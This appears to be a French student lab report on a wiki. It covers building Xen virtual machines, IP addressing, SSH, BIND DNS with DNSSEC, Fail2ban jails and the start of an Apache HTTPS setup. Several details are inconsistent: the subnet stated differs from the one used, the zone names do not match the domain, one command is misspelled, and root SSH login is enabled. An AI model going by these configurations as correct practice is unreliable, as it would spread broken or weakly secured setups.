		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12527</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12527"/>
		<updated>2026-02-27T13:23:31Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
[[Fichier:Ipv6.png|centré|vignette|800x800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dnssecrs7|1000px|vignette|centré]]&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
